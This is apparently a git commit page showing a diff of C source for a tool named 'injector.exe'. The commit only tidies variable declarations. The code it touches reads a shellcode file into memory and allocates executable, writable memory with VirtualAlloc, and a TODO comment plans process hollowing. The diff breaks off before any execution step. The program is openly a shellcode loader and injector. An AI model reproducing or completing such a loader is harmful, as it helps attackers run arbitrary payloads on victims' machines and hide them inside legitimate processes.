removed oldschool variable declarations
This commit is contained in:
parent
1aa378391b
commit
cb5b95a311
@ -2,15 +2,10 @@
|
|||||||
#include <stdio.h>
|
#include <stdio.h>
|
||||||
#include <stdlib.h>
|
#include <stdlib.h>
|
||||||
|
|
||||||
|
// TODO: implement process hollowing
|
||||||
|
|
||||||
int main(int argc, char *argv[])
|
int main(int argc, char *argv[])
|
||||||
{
|
{
|
||||||
FILE *fin;
|
|
||||||
unsigned char *buffer;
|
|
||||||
long fsize;
|
|
||||||
LPVOID base;
|
|
||||||
|
|
||||||
// TODO: implement process hollowing
|
|
||||||
|
|
||||||
if (argc != 2)
|
if (argc != 2)
|
||||||
{
|
{
|
||||||
printf("[?] Usage: injector.exe <shellcode-path>\n");
|
printf("[?] Usage: injector.exe <shellcode-path>\n");
|
||||||
@ -18,7 +13,7 @@ int main(int argc, char *argv[])
|
|||||||
}
|
}
|
||||||
|
|
||||||
printf("[+] Reading shellcode from %s\n", argv[1]);
|
printf("[+] Reading shellcode from %s\n", argv[1]);
|
||||||
fin = fopen(argv[1], "rb");
|
FILE *fin = fopen(argv[1], "rb");
|
||||||
|
|
||||||
if (fin == NULL)
|
if (fin == NULL)
|
||||||
{
|
{
|
||||||
@ -27,14 +22,14 @@ int main(int argc, char *argv[])
|
|||||||
}
|
}
|
||||||
|
|
||||||
fseek(fin, 0, SEEK_END);
|
fseek(fin, 0, SEEK_END);
|
||||||
fsize = ftell(fin);
|
long fsize = ftell(fin);
|
||||||
rewind(fin);
|
rewind(fin);
|
||||||
|
|
||||||
buffer = (char *)malloc(fsize);
|
unsigned char *buffer = (char *)malloc(fsize);
|
||||||
fread(buffer, fsize, 1, fin);
|
fread(buffer, fsize, 1, fin);
|
||||||
fclose(fin);
|
fclose(fin);
|
||||||
|
|
||||||
base = VirtualAlloc(NULL, fsize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
|
LPVOID base = VirtualAlloc(NULL, fsize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
|
||||||
|
|
||||||
if (base == NULL)
|
if (base == NULL)
|
||||||
{
|
{
|
||||||
|
Loading…
Reference in New Issue
Block a user